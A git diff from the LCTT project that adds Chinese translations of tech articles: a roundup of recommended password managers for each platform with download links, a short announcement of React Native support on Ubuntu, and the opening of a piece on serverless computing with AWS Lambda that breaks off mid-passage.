+ +### Windows 最佳密码管理工具 + +![](https://2.bp.blogspot.com/-8MUEI5RctdA/V5sDM_oCoaI/AAAAAAAAo60/LX4AktoS_f0JeYDORSqmDZMfmsbOa6QnACLcB/s1600/Best-Password-Manager-for-Windows.png) + +Windows 用户最容易受到网络攻击,因为 Windows 操作系统一直是黑客最喜欢的目标。所以,对于 Windows 用户来说,使用一个好的密码管理器是重要的。 + +除了下述以外,Windows 其它的密码管理器还有:Password Safe、LockCrypt、1Password。 + +#### 1. Keeper 密码管理器(跨平台) + +![](https://1.bp.blogspot.com/-9ISKGyTAX9U/V5xec18I21I/AAAAAAAAo8E/i8IqZXXpDwMGe8wnI6Adj3qduR_Qm5o3ACLcB/s1600/keeper-Password-Manager-for-mac-os-x.png) + +Keeper 是一个安全、易用而稳健的密码管理器,支持 Windows、Mac、iPhone、iPad 和 iPod 设备。 + +通过使用军事级 256 位 AES 加密技术,Keeper 密码管理器可以让您的数据安全在窥探之下保持安全。 + +它的安全的数字保险柜,用于保护和管理您的密码,以及其他秘密信息。Keeper 密码管理器应用程序支持双因素身份验证,可用于各大主流操作系统。 + +它还有一个称为“自毁”的重要的安全功能,启用后,如果不正确的错误地输入主密码达五次以上,它将删除设备中的所有记录! + +但您不必担心,因为此操作不会删除存储在 Keeper 上的云安全保险柜上的备份记录。 + +下载 Keeper 密码管理器: [Windows、Linux 和 Mac][6] | [iOS][7] | [Android][8] | [Kindle][9] + +#### 2. Dashlane 密码管理器(跨平台) + +![](https://3.bp.blogspot.com/-2BuFpcAe9K8/V5xjugOWPuI/AAAAAAAAo9A/wpooAjcH74EzxfNJwrFu-Mcn0IkwiRGjACLcB/s1600/Dashlane-Password-Manager-for-Android.png) + +DashLane 密码管理器有点新,但它几乎为每个平台提供了极棒的功能。 + +DashLane 密码管理器通过在本地计算机上使用 AES-256 加密技术来加密您的个人信息和帐户密码,然后将其同步到其在线服务器,以便您可以从任何地方访问您的帐户数据库。 + +DashLane 最好的一点是它有一个自动密码更改器,可以自动更改您的帐户的密码,而不必自己处理。 + +DashLane 密码管理器 Android 版为您的 Android 手机提供了安全的密码管理工具:密码保险库和在线商店及其他网站的表单自动填充器。 + +Android 的 DashLane 密码管理器在单个设备上使用完全免费,如要在多个设备上访问,您可以购买该应用的收费的高级版本。 + +下载 DashLane 密码管理器: [Windows][10] 和 [Mac][11] | [iOS][12] | [Android][13] + +#### 3. LastPass 密码管理器(跨平台) + +![](https://3.bp.blogspot.com/--o_hWTgXh2M/V5sAjw7FlYI/AAAAAAAAo6U/Ajmvt0rgRAQE3M_YeYurpbsUoLBN8OTLwCLcB/s1600/LastPass-Password-Manager-for-Windows.png) + +LastPass 是 Windows 用户最好的密码管理器之一,它可以通过扩展插件、移动应用程序,甚至桌面应用程序支持所有的浏览器和操作系统。 + +LastPass 是一个非常强大的基于云的密码管理器软件,它使用 AES-256 加密技术来加密您的个人信息和帐户密码,甚至提供各种双因素身份验证选项,以确保没有其他人可以登录您的密码保险柜中。 + +LastPass 密码管理器是免费的,收费的高级版本支持指纹读取器。 + +下载 LastPass 密码管理器: [Windows、Mac 和 Linux][14] | [iOS][15] | [Android][16] + +### Mac OS X 最佳密码管理器 + +![](https://2.bp.blogspot.com/-lEim3E-0wcg/V5sFhOVYK7I/AAAAAAAAo7A/z6Lp8_ULdJAD8ErZ1a-FevXPO8nR3JKNACLcB/s1600/Best-Password-Manager-for-mac-os-x.png) + +人们经常说,Mac 电脑比 Windows 更安全,“Mac 没有病毒”,但它是不完全正确的。 + +作为证据,你可以阅读我们以前的关于对 Mac 和 iOS 用户进行网络攻击的文章,然后自己决定需要不需要一个密码管理器。 + +除了下述以外,Mac OS X 其它的密码管理器还有:1Password,Dashlane,LastPass,OneSafe,PwSafe。 + +#### 1. LogMeOnce 密码管理器(跨平台) + +![](https://4.bp.blogspot.com/-fl64fXK2bdA/V5sHL215j_I/AAAAAAAAo7M/fbn4EsrQMkU3tWWfiAsWlTgKKXb0oEzlwCLcB/s1600/LogMeOnce-Password-Manager-for-Mac-os-x.png) + +LogMeOnce 密码管理套件是 Mac OS X 上的最佳密码管理器之一,并且可以在 Windows,iOS 和 Android 设备上同步您的密码。 + +LogMeOnce 是最好的收费的企业密码管理软件之一,提供各种功能和选项,包括 Mugshot(嫌犯照片)功能。 + +如果您的手机被盗,LogMeOnce Mugshot 功能可以跟踪小偷的位置,并秘密拍摄试图在未经许可访问您的帐户的入侵者的照片。 + +LogmeOnce 使用军用级 AES-256 加密技术保护您的密码,并提供双因素身份验证,以确保即使掌握了主密码,窃贼也无法窃取您的帐户。 + +下载 LogMeOnce 密码管理器: [Windows and Mac][17] | [iOS][18] | [Android][19] + +#### 2. KeePass 密码管理器(跨平台) + +![](https://4.bp.blogspot.com/-XWwdG1z9sDw/V5sA7azAy6I/AAAAAAAAo6c/dkkfMRuxDoE_gi5OMRvDOUFq15P5NRO6QCLcB/s1600/Keepass-Password-Manager-for-Windows.png) + +虽然 LastPass 是最好的密码管理器之一,有些人不喜欢基于云的密码管理器。 + +KeePass 是一个流行的 Windows 密码管理器应用程序,但也有浏览器扩展和 KeePass 的移动应用程序。 + +用于 Windows 的 KeePass 密码管理器将您的帐户密码存储在您的 PC 上,因此您仍然可以控制它们,也可以放在 Dropbox 上,因此您可以使用多个设备访问它。 + +KeePass 使用当前已知的最安全的加密技术加密您的密码和登录信息:默认情况下为 AES 256 位加密,或可选地用 Twofish 256 位加密技术。 + +KeePass 不仅仅是免费的,它也是开源的,这意味着它的代码和完整性可以被任何人检查,从而赢得了更多的信任度。 + +下载 KeePass 密码管理器: [Windows 和 Linux][20] | [Mac][21] | [iOS][22] | [Android][23] + +#### 3. 苹果 iCloud 钥匙串 + +![](https://4.bp.blogspot.com/-vwY_dmsKIBg/V5xfhIZGxxI/AAAAAAAAo8M/OjPrBsp9GysF-bK3oqHtW74hKNYO61W9QCLcB/s1600/Apple-iCloud-Keychain-Security.png) + +苹果推出了 iCloud 钥匙串密码管理系统,提供了一种方便的、可以在您获准的 Apple 设备(包括 Mac OS X、iPhone 和 iPad)上安全地存储和自动同步所有登录凭据、Wi-Fi 密码和信用卡号码的方式。 + +您的钥匙串中的密码数据使用 256 位 AES 加密技术进行加密,并使用椭圆曲线非对称加密和密钥封装。 + +此外,iCloud 钥匙串还会生成新的、独特的和强大的密码,用于保护您的计算机和帐户。 + +主要限制:钥匙串不能与 Apple Safari 之外的其他浏览器一起使用。 + +参阅:[如何设置 iCloud 钥匙串?][24] + +### Linux 最佳密码管理器 + +![](https://1.bp.blogspot.com/-2zDAqYEQTQA/V5xgbo_OcQI/AAAAAAAAo8Y/hWzGLW7R4vse3QnpCM5-qmSHLtzK5M1VACLcB/s1600/best-Password-Manager-for-linux.png) + +毫无疑问,一些 Linux 发行版是地球上最安全的操作系统,但正如我上面所说,采用 Linux 不能完全保护您的在线帐户免受黑客攻击。 + +有许多跨平台密码管理器可用于在所有设备上同步所有帐户的密码,例如 LastPass、KeePass、RoboForm 密码管理器。 + +下面我列出了两个 Linux 上流行和安全的开源密码管理器: + +#### 1. SpiderOak 加密密码管理器(跨平台) + +![](https://4.bp.blogspot.com/-SZkmP7dpXZM/V5xiKeuT4KI/AAAAAAAAo8s/QhvfBz3OX78IUit_HLym0sdKxlz99qFfgCLcB/s1600/SpiderOak-Encryptr-Password-Manager-for-linux.png) + +爱德华·斯诺登推荐的由 SpiderOak 开发的 Encryptr 密码管理器是一个零知识的基于云的密码管理器,使用 Crypton JavaScript 框架加密保护您的密码。 + +它是一个跨平台、开源和免费的密码管理器,使用端到端加密,可以完美地工作于 Ubuntu、Debian Linux Mint 和其它 Linux 发行版。 + +Encryptr 密码管理器应用程序本身非常简单,带有一些基本功能。 + +Encryptr 软件允许您加密三种类型的内容:密码、信用卡号码和常规的键值对。 + +下载 Encryptr 密码管理器: [Windows、Linux 和 Mac][25] | [iOS][26] | [Android][27] + +#### 2. EnPass 密码管理器(跨平台) + +![](https://4.bp.blogspot.com/-_IF81t9rL7U/V5xhBIPUSHI/AAAAAAAAo8c/6-kbLXTl2G0EESTH4sP9KvZLzTFlCyypACLcB/s1600/EnPass-Password-Manager-for-Linux.png) + +Enpass 是一个优秀的安全导向的 Linux 密码管理器,在其它平台也能很好地工作。 + +Enpass 可让您使用第三方云服务(包括 Google 云端硬盘、Dropbox、OneDrive 或 OwnCloud)备份和恢复存储的密码。 + +它确保提供高级别的安全性,并通过主密码保护您的数据,在将备份上传到云上之前,使用开源加密引擎 SQLCipher 的 256 位 AES 加密技术进行加密。 + +> “我们不会在我们的服务器上托管您的 Enpass 数据,因此,我们不需要注册,您的数据只存储在您的设备上,”Enpass 说。 + +此外,默认情况下,当您离开计算机时,Enpass 会锁定自己,并且每隔 30 秒清除剪贴板内存,以防止您的密码被任何其他恶意软件窃取。 + +下载 EnPass 密码管理器: [Windows][28]、[Linux][29] | [Mac][30] | [iOS][31] | [Android][32] + +#### 3. RoboForm 密码管理器(跨平台) + +![](https://3.bp.blogspot.com/-g8Qf9V1EdqU/V5sBkDk614I/AAAAAAAAo6k/5ZTr9LyosU82F16GxajewvU4sWYyJFq5gCLcB/s1600/Roboform-Password-Manager-for-Windows.png) + +你可以很容易地在 Windows 操作系统上找到好的密码管理器,但 RoboForm 免费密码管理器软件不止于此。 + +除了创建复杂的密码并记住它们,RoboForm 还提供了一个智能表单填充功能,以节省您在浏览网络的时间。 + +RoboForm 使用军用级 AES 加密技术来加密您的登录信息和帐户密码,密钥是通过您的 RoboForm 主密码获得的。 + +RoboForm 适用于 IE、Chrome 和 Firefox 等浏览器,以及适用于 iOS、Android 和 Windows Phone 等移动平台。 + +下载 RoboForm 密码管理器: [Windows 和 Mac][33] | [Linux][34] | [iOS][35] | [Android][36] + +### Android 最佳密码管理器 + +![](https://1.bp.blogspot.com/-1PXI2KDrDEU/V5xigbW8lgI/AAAAAAAAo8w/Zv5hrdOcbSU7LA0kYrNpvJ1rxjg7EoOewCLcB/s1600/best-Password-Manager-for-android.png) + +目前全球有超过一半的人使用 Android 设备,因此 Android 用户保护他们的在线帐户、避免黑客总是试图访问这些设备成为一种必要。 + +Android 上一些最好的密码管理器应用程序包括 1Password、Keeper、DashLane、EnPass、OneSafe、mSecure 和 SplashID Safe。 + +#### 1. 1Password 密码管理器(跨平台) + +![](https://4.bp.blogspot.com/--w3s9SoWgYA/V5xjJwVRUTI/AAAAAAAAo84/BSucybvPdtUKYYcRtDbn-_2cOz-mfMA9gCLcB/s1600/1password-Password-Manager-for-android.png) + +1Password 密码管理器 Anroid 版是管理你的所有账户密码的最佳应用程序之一。 + +1Password 密码管理器为每个帐号创建强大、独特和安全的密码,并为你全部记住,你只需要轻轻一点即可登录。 + +1Password 密码管理器软件通过 AES-256 加密技术保护您的登录名和密码,并通过您的 Dropbox 帐户将其同步到所有设备,或者存储在本地,你可以用任何其他应用程序来进行同步。 + +最近,Android 版本的 1Password 密码管理器应用程序了添加指纹支持来解锁所有的密码,而不是使用您的主密码。 + +下载 1Password 密码管理器: [Windows 和 Mac][37] | [iOS][38] | [Android][39] + +#### 2. mSecure密码管理器(跨平台) + +![](https://4.bp.blogspot.com/-nvjjS2dWfPc/V5xkEdAOYvI/AAAAAAAAo9I/EDGfA5hzacIq46gWG-6BD2UPHwQAHD-pgCLcB/s1600/mSecure-password-manager-for-android.png) + +就像其他流行的密码管理器解决方案,Android 下的 mSecure 密码管理器自动生成安全密码,并使用 256 位Blowfish 加密技术存储它们。 + +令人印象深刻的独特功能是 mSecure 密码管理器软件提供了在输入 5、10 或 20 次错误的密码后(根据您的设置)自毁数据库的功能。 + +您还可以使用 Dropbox 或通过专用 Wi-Fi 网络同步所有设备。不管什么情况下,无论您的云帐户的安全性如何,您的所有数据都会在设备之间安全而加密地传输。 + +下载 mSecure 密码管理软件: [Windows 和 Mac][40] | [iOS][41] | [Android][42] + +### iOS 最佳密码管理器 + +![](https://4.bp.blogspot.com/-SOXYw_9mFq0/V5xk6Kl8-DI/AAAAAAAAo9Q/AMbEl_t3HjAJ4ZX7gLVoa33z-myE4bK5wCLcB/s1600/best-Password-Manager-for-ios-iphone.png) + +正如我所说,苹果的 iOS 也很容易发生网络攻击,所以你可以使用一些 iOS 下最好的密码管理器应用程序来保护你的在线帐户,它们包括 Keeper、OneSafe、Enpass、mSecure、LastPass、RoboForm、SplashID Safe 和 LoginBox Pro 。 + +#### 1. OneSafe 密码管理器(跨平台) + +![](https://2.bp.blogspot.com/-HPEJpqeOs00/V5xlSh7OUxI/AAAAAAAAo9Y/d5qkOy3BieMSxjGrnrnH4fvzUzAzDqhCgCLcB/s1600/onesafe-password-manager-for-ios.png) + +OneSafe 是 iOS 设备最好的密码管理器应用程序之一,它不仅可以存储您的帐户密码,还可以存储敏感文档、信用卡详细信息、照片等。 + +iOS 的 OneSafe 密码管理器应用程序使用 AES-256 加密技术(移动设备上可用的最高级别)和 Touch ID 将您的数据用主密码加密。 你还可以为给定文件夹设置附加密码。 + +iOS 的 OneSafe 密码管理器还提供了一个支持自动填充登录的应用内浏览器,因此您无需每次都输入登录详细信息。 + +除此之外,OneSafe 还为您的帐户的密码提供了高级安全功能,如自动锁定、入侵检测、自毁模式、诱饵安全和双重保护。 + +下载 OneSafe 密码管理器:[iOS][43] | [Mac][44] | [Android][45] | [Windows][46] + +#### 2. SplashID 安全密码管理器(跨平台) + +![](https://1.bp.blogspot.com/-FcNub2p-QNE/V5xmDW7QXvI/AAAAAAAAo9o/23VuGUAMCYYS64kKlUqBcfx3JIfBr5gTgCLcB/s1600/SplashID-Safe-password-manager-for-ios.png) + +SplashID Safe 是 iOS 中最古老、最好的密码管理工具之一,它允许用户将其登录数据和其他敏感信息安全地存储在加密记录中。 + +您的所有信息,包括网站登录信息、信用卡和社会保障数据、照片和文件附件,都受到 256 位的加密保护。 + +用于 iOS 的 SplashID Safe 密码管理器还提供了网络自动填充选项,这意味着您不必在登录时复制粘贴密码。 + +免费版本的 SplashID Safe 具有基本的记录存储功能,但您可以选择收费版本,提供跨设备同步以及其它收费功能。 + +下载 SplashID 安全密码管理器:[Windows 和 Mac][47] | [iOS][48] | [Android][49] + +#### 3. LoginBox Pro 密码管理器 + +![](https://3.bp.blogspot.com/-4GzhwZFXDHQ/V5xogkDk49I/AAAAAAAAo90/69rmVdKD-VUG0kHJXIqE2x-mVlWZEDrYwCLcB/s1600/LoginBox-Pro-Password-Manager-for-ios.png) + +LoginBox Pro 是另一个 iOS 设备上极棒的密码管理器应用程序。该应用程序提供了一个单击登录到你访问的任何网站的功能,使密码管理器应用程序成为登录密码保护的互联网网站的最安全和最快的方式。 + +iOS 的 LoginBox 密码管理器应用程序的把密码管理器和浏览器结合到一起。 + +从您下载那一刻起,所有登录操作(包括输入信息、点击按钮、复选框或回答安全提问)都会通过 LoginBox 密码管理器自动完成。 + +为了安全起见,LoginBox 密码管理器使用硬件加速的 AES 加密技术和密码来加密您的数据并将其保存在您的设备上。 + +下载 LoginBox 密码管理器:[iOS][50] | [Android][51] + +### 最佳在线密码管理器 + +使用在线密码管理器工具是保护你的个人和私人信息安全,免于黑客和心怀恶意的人攻击的最简单方法。 + +在这里,我列出了一些最好的在线密码管理器,你可以依靠它们保持自己的线上安全: + +#### 1. Google 在线密码管理器 + +![](https://2.bp.blogspot.com/-HCSzj5tKgwY/V5xqVjjtfgI/AAAAAAAAo-A/OYcgv-S5wmQlAskF1jrEGQAy98ogMnXTgCLcB/s1600/google-online-password-manager.png) + +你知道 Google 有自己的专用密码管理器吗? + +Google Chrome 有一个内置的密码管理器工具,当你使用 Chrome 登录网站或网络服务时,你可以选择用它保存密码。 + +你所储存的所有帐户密码都会与你的 Google 帐户同步,方便你通过同一个 Google 帐户在所有装置上使用。 + +Chrome 密码管理器可让你通过网络管理你的所有帐户的密码。 + +因此,如果您喜欢使用其他浏览器,例如 Windows 10 上的 Microsoft Edge 或 iPhone 上的 Safari,只需访问[passwords.google.com][52],您就会看到一个列表,其中包含您保存在 Chrome 之中所有密码。Google 的双重身份验证会保护此列表。 + +#### 2. Clipperz 在线密码管理器 + +![](https://2.bp.blogspot.com/-gs8b_N_k6CA/V5xrvzbUIKI/AAAAAAAAo-M/vsTXHZNErkQu6g8v9V1R2FxLkdppZq_GACLcB/s1600/Clipperz-Online-Password-Manager.png) + +Clipperz 是一个免费的跨平台最佳在线密码管理器,不需要你下载任何软件。Clipperz 在线密码管理器使用书签栏或侧栏来直接登录。 + +Clipperz 还提供了其软件的密码管理器的离线版本,允许你将密码下载到一个[加密的磁盘][53]或 USB 盘里面,以便你在旅行时可以随身携带,并在离线时访问你的帐户密码。 + +Clipperz 在线密码管理器的一些功能还包括密码强度指示器、应用程序锁定、SSL 安全连接、一次性密码和密码生成器。 + +Clipperz 在线密码管理器可以在任何支持 JavaScript 的浏览器上工作。 + +#### 3. Passpack 在线密码管理器 + +![](https://4.bp.blogspot.com/-ng91nPnzbWI/V5xsarl2mqI/AAAAAAAAo-Q/zJlFK-63vugeoyymDL26c5mPiWNsGQjuACLcB/s1600/Passpack-Free-Online-Password-Manager.png) + +Passpack 是一个优秀的在线密码管理器,拥有一套极具竞争力的功能,可为你的不同在线帐户创建、存储和管理密码。 + +PassPack 在线密码管理器还允许你与你的家人或同事安全地共享你的密码,以轻松管理多个项目、团队成员、客户和员工。 + +你的各个帐户的用户名和密码使用 PassPack 服务器上的 AES-256 加密技术进行加密,即使黑客访问其服务器也无法读取你的登录信息。 + +将 PassPack 在线密码管理器工具栏下载到 Web 浏览器并正常浏览 Web。每当你登录任何受密码保护的网站时,PassPack 会保存你的登录数据,以便你不必在其网站上手动保存你的用户名和密码。 + +### 最佳企业密码管理器 + +在过去 12 个月的过程中,我们看到了互联网历史上最大的数据泄露,而且这种情况年复一年的增多。 + +据统计,大多数员工甚至不知道如何在线保护他们自己,这导致公司的业务处于风险之中。 + +为了在组织中保持密码共享机制安全,有一些专门为企业使用而设计的密码管理工具,例如 Vaultier、CommonKey、Meldium、PassWork 和 Zoho Vault。 + +#### 1. Meldium 企业密码管理软件 + +![](https://3.bp.blogspot.com/-3rKr3KUpuiQ/V5xs8JR7pVI/AAAAAAAAo-c/VF1tmKbwPzoJmNvA3Ym69CizG7_VqM6ywCLcB/s1600/Meldium-Enterprise-Password-Manager.png) + +LogMeIn 的 [Meldium 密码管理工具][54]附带一个一键式单点登录解决方案,可帮助企业安全快速地访问网络应用。 + +它会自动将用户记录到应用和网站中,而无需输入用户名和密码,也可以跟踪组织内的密码使用情况。 + +Meldium 密码管理器非常适合在您的团队成员内共享帐户,而无需共享实际密码,这有助于组织保护自己免受网络钓鱼攻击。 + +#### 2. Zoho Vault 密码管理软件 + +![](https://2.bp.blogspot.com/-J-N_1wOYxmI/V5xtrz42QWI/AAAAAAAAo-o/QF4n4QAF7ZMBd7uIRdjM6Hdd1MHwsXWQACLcB/s1600/zoho-vault--Enterprise-Password-Manager.png) + +[Zoho Vault][55] 是企业用户最好的密码管理器之一,可帮助您的团队快速、安全地共享密码和其他敏感信息,同时监控每个用户的使用情况。 + +您所有的团队成员需要下载 Zoho 浏览器扩展。 Zoho Vault 密码管理器将自动填充您团队存储在共享保险柜中的密码。 + +Zoho Vault 还提供了一些功能,可让您监控团队的密码使用情况和安全级别,以便您可以知道谁在使用哪个登录。 + +Zoho Vault 企业级软件包甚至会在更改或访问密码时发出警告。 + +### 更多安全性,请使用双重身份验证 + +![](https://4.bp.blogspot.com/-jDnJBDoibtQ/V5xuHVHukRI/AAAAAAAAo-w/1Erjgk-IvKs__TXwYDz-8Groz9hWEElZgCLcB/s1600/two-factor-authentication-password-security.png) + +无论你的密码有多强大,黑客仍然有可能找到一些或其他方式侵入你的帐户。 + +双因素身份验证旨在解决这个问题。对一个密码取而代之的是,它要求你输入第二个口令,这会通过短信发送到你的手机上,或通过电子邮件发送到你的电子邮件地址上。 + +因此,我建议你启用[双因素身份验证][56],并使用密码管理器软件来保护你的在线帐户和敏感信息免受黑客攻击。 + +------ + +via: https://thehackernews.com/2016/07/best-password-manager.html + +作者:[Swati Khandelwal][a] +译者:[Bestony](https://github.com/Bestony) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://thehackernews.com/2016/07/best-password-manager.html#author-info +[1]: http://thehackernews.com/2016/03/subgraph-secure-operating-system.html +[2]: http://thehackernews.com/2016/01/password-security-manager.html +[3]: http://thehackernews.com/2015/09/opm-hack-fingerprint.html +[4]: http://thehackernews.com/2015/08/ashley-madison-accounts-leaked-online.html +[5]: http://thehackernews.com/2013/05/cracking-16-character-strong-passwords.html +[6]: https://keepersecurity.com/download.html +[7]: https://itunes.apple.com/us/app/keeper-password-manager-digital/id287170072?mt=8 +[8]: https://play.google.com/store/apps/details?id=com.callpod.android_apps.keeper +[9]: http://www.amazon.com/gp/mas/dl/android?p=com.callpod.android_apps.keeper +[10]: https://www.dashlane.com/download +[11]: https://www.dashlane.com/passwordmanager/mac-password-manager +[12]: https://itunes.apple.com/in/app/dashlane-free-secure-password/id517914548?mt=8 +[13]: https://play.google.com/store/apps/details?id=com.dashlane&hl=en +[14]: https://lastpass.com/misc_download2.php +[15]: https://itunes.apple.com/us/app/lastpass-for-premium-customers/id324613447?mt=8&ign-mpt=uo%3D4 +[16]: https://play.google.com/store/apps/details?id=com.lastpass.lpandroid +[17]: https://www.logmeonce.com/download/ +[18]: https://itunes.apple.com/us/app/logmeonce-free-password-manager/id972000703?ls=1&mt=8 +[19]: https://play.google.com/store/apps/details?id=log.me.once +[20]: http://keepass.info/download.html +[21]: https://itunes.apple.com/us/app/kypass-companion/id555293879?ls=1&mt=12 +[22]: https://itunes.apple.com/de/app/ikeepass/id299697688?mt=8 +[23]: https://play.google.com/store/apps/details?id=keepass2android.keepass2android +[24]: https://support.apple.com/en-in/HT204085 +[25]: https://spideroak.com/opendownload +[26]: https://itunes.apple.com/us/app/spideroak/id360584371?mt=8 +[27]: https://play.google.com/store/apps/details?id=com.spideroak.android +[28]: https://www.enpass.io/download-enpass-for-windows/ +[29]: https://www.enpass.io/download-enpass-linux/ +[30]: https://itunes.apple.com/app/enpass-password-manager-best/id732710998?mt=12 +[31]: https://itunes.apple.com/us/app/enpass-password-manager/id455566716?mt=8 +[32]: https://play.google.com/store/apps/details?id=io.enpass.app&hl=en +[33]: http://www.roboform.com/download +[34]: http://www.roboform.com/for-linux +[35]: https://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=331787573&mt=8 +[36]: https://play.google.com/store/apps/details?id=com.siber.roboform +[37]: https://1password.com/downloads/ +[38]: https://itunes.apple.com/in/app/1password-password-manager/id568903335?mt=8 +[39]: https://play.google.com/store/apps/details?id=com.agilebits.onepassword&hl=en +[40]: https://www.msecure.com/desktop-app/ +[41]: https://itunes.apple.com/in/app/msecure-password-manager/id292411902?mt=8 +[42]: https://play.google.com/store/apps/details?id=com.mseven.msecure&hl=en +[43]: https://itunes.apple.com/us/app/onesafe/id455190486?ls=1&mt=8 +[44]: https://itunes.apple.com/us/app/onesafe-secure-password-manager/id595543758?ls=1&mt=12 +[45]: https://play.google.com/store/apps/details?id=com.lunabee.onesafe +[46]: https://www.microsoft.com/en-us/store/apps/onesafe/9wzdncrddtx9 +[47]: https://splashid.com/downloads.php +[48]: https://itunes.apple.com/app/splashid-safe-password-manager/id284334840?mt=8 +[49]: https://play.google.com/store/apps/details?id=com.splashidandroid&hl=en +[50]: https://itunes.apple.com/app/loginbox-pro/id579954762?mt=8 +[51]: https://play.google.com/store/apps/details?id=com.mygosoftware.android.loginbox +[52]: https://passwords.google.com/ +[53]: http://thehackernews.com/2014/01/Kali-linux-Self-Destruct-nuke-password.html +[54]: https://www.meldium.com/ +[55]: https://www.zoho.com/vault/password-management-tools.html +[56]: http://thehackernews.com/2016/07/two-factor-authentication.html \ No newline at end of file diff --git a/published/201610/20160805 Introducing React Native Ubuntu.md b/published/201610/20160805 Introducing React Native Ubuntu.md new file mode 100644 index 0000000000..c84288c4df --- /dev/null +++ b/published/201610/20160805 Introducing React Native Ubuntu.md @@ -0,0 +1,36 @@ +React Native Ubuntu 简介 +===================== + +在 Canonical 的 Webapps 团队,我们总在寻找可以为开发者所用的 web 和 web 相关技术。我们想让每个人生活更轻松,让 web 开发者更加熟悉工具的使用,并且在 Ubuntu 上提供一个使用它们的简单途径。 + +我们提供对 web 应用以及创建和打包 Cordova 应用的支持,这使得在 Ubuntu 上使用任意 web 框架来创造美妙的应用体验成为可能。 + +其中一个可以在这些情景中使用的主流框架就是 React.js。React.js 是一个拥有声明式编程模型和强大的组件系统的 UI 框架,它主要侧重于 UI 的构建,所以你可以在你喜欢的任何地方用上它。 + +然而这些应用场景太广泛了,有时候你可能需要更高的性能,或者能够直接用原生 UI 组件来开发,但是在一个不太熟悉的场景中使用它可能不合时宜。如果你熟悉 React.js,那么通过 React Native 来开发可以毫不费力地将你所有现有的知识和工具迁移到完全的原生组件开发中。React Native 是 React.js 的姐妹项目,你可以用同样的方式和代码来创建一个直接使用原生组件并且拥有原生级别性能的应用,而且这就和你期待的一样轻松快捷。 + +![](http://i.imgur.com/ZsSHWXP.png) + +我们很高兴地宣布随着我们对 HTML5 应用的支持,现在可以在 Ubuntu 平台上开发 React Native 应用了。你可以移植你现有的 iOS 或 Android 版本的 React Native 应用,或者利用你的 web 开发技能来创建一个新的应用。 + +你可以在 [这里][1] 找到 React Native Ubuntu 的源代码,要开始使用时,跟随 [README-ubuntu.md][2] 的指导,并创建你的第一个应用吧。 + +Ubuntu 的支持包括生成软件包的功能。通过 React Native CLI,构建一个 snap 软件包只需要简单执行 `react-native package-ubuntu --snap` 这样的命令。还可以为 Ubuntu 设备构建一个 click 包,这意味着 React Native Ubuntu 应用从一开始就可以放到 Ubuntu 商店了。 + +在不久的将来会有很多关于在 Ubuntu 上开发一个 React Native 应用你所需要了解的东西的博文,例如创建应用、开发流程以及打包并发布到商店等等。还会有一些关于怎样开发新型的可复用的模块的信息,这些模块可以给运行时环境增加额外的功能,并且可以发布为 npm 模块。 + +赶快去实践一下吧,看看你能创造出些什么来。 + +-------------------------------------------------------------------------------- + +via: https://developer.ubuntu.com/en/blog/2016/08/05/introducing-react-native-ubuntu/ + +作者:[Justin McPherson][a] +译者:[Mars Wong](https://github.com/OneNewLife) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://developer.ubuntu.com/en/blog/authors/justinmcp/ +[1]: https://github.com/CanonicalLtd/react-native +[2]: https://github.com/CanonicalLtd/react-native/blob/ubuntu/README-ubuntu.md diff --git a/published/201610/20160807 Going Serverless with AWS Lambda and API Gateway.md b/published/201610/20160807 Going Serverless with AWS Lambda and API Gateway.md new file mode 100644 index 0000000000..17e9b642f3 --- /dev/null +++ b/published/201610/20160807 Going Serverless with AWS Lambda and API Gateway.md @@ -0,0 +1,241 @@ +通过 AWS 的 Lambda 和 API Gateway 走向 Serverless +============================ + +近来,在计算领域出现了很多关于 serverless 的讨论。serverless 是一个概念,它允许你提供代码或可执行程序给某个服务,由服务来为你执行它们,而你无需自己管理服务器。这就是所谓的执行即服务(execution-as-a-service),它带来了很多机会,同时也遇到了它独有的挑战。 + +### 简短回忆下计算领域的发展 + +早期,出现了……好吧,这有点复杂。很早的时候,出现了机械计算机,后来又有了埃尼阿克 ENIAC(Electronic Numerical Integrator And Computer,很早的电子计算机),但是都没有规模生产。直到大型机出现后,计算领域才快速发展。 + +- 上世纪 50 年代 - 大型机 +- 上世纪 60 年代 - 微型机 +- 1994 - 机架服务器 +- 2001 - 刀片服务器 +- 本世纪初 - 虚拟服务器 +- 2006 - 服务器云化 +- 2013 - 容器化 +- 2014 - serverless(计算资源服务化) + +> 这些日期是大概的发布或者流行日期,无需和我争论时间的准确性。 + +计算领域的演进趋势是执行的功能单元越来越小。每一次演进通常都意味着运维负担的减小和运维灵活性的增加。 + +### 发展前景 + +喔,Serverless!但是,serverless 能给我们带来什么好处? 我们将面临什么挑战呢? + +**未执行代码时无需付费。**我认为,这是个巨大的卖点。当无人访问你的站点或用你的 API 时,你无需付钱。没有持续支出的基础设施成本,仅仅支付你需要的部分。换句话说,这履行了云计算的承诺:“仅仅支付你真正用的资源”。 + +**无需维护服务器,也无需考虑服务器安全。**服务器的维护和安全将由你的服务提供商来处理(当然,你也可以架设自己的 serverless 主机,只是这似乎是在向错误的方向前进)。由于你的执行时间也是受限的,安全补丁也被简化了,因为完全不需要重启。这些都应该由你的服务提供商无缝地处理。 + +**无限的可扩展性。**这是又一个大的好处。假设你又开发了一个 Pokemon Go, 与其频繁地把站点下线维护升级,不如用 serverless 来不断地扩展。当然,这也是个双刃剑,大量的账单也会随之而来。如果你的业务的利润强依赖于站点上线率的话,serverless 确实能帮上忙。 + +**强制的微服务架构。**这也有两面性,一方面,微服务似乎是一种好的构建灵活可扩展的、容错的架构的方式。另一方面,如果你的业务没有按照这种方式设计,你将很难在已有的架构中引入 serverless。 + +### 但是现在你被限制在**他们的**平台上 + +**受限的环境。**你只能用服务提供商提供的环境,你想在 Rust 中用 serverless?你可能不会太幸运。 + +**受限的预装包。**你只有提供商预装的包。但是你或许能够提供你自己的包。 + +**受限的执行时间。**你的 Function 只可以运行这么长时间。如果你必须处理 1TB 的文件,你可能需要有一个解决办法或者用其他方案。 + +**强制的微服务架构。**参考上面的描述。 + +**受限的监视和诊断能力。**例如,你的代码**在**干什么? 在 serverless 中,基本不可能在调试器中设置断点和跟踪流程。你仍然可以像往常一样记录日志并发出统计度量,但是这带来的帮助很有限,无法定位在 serverless 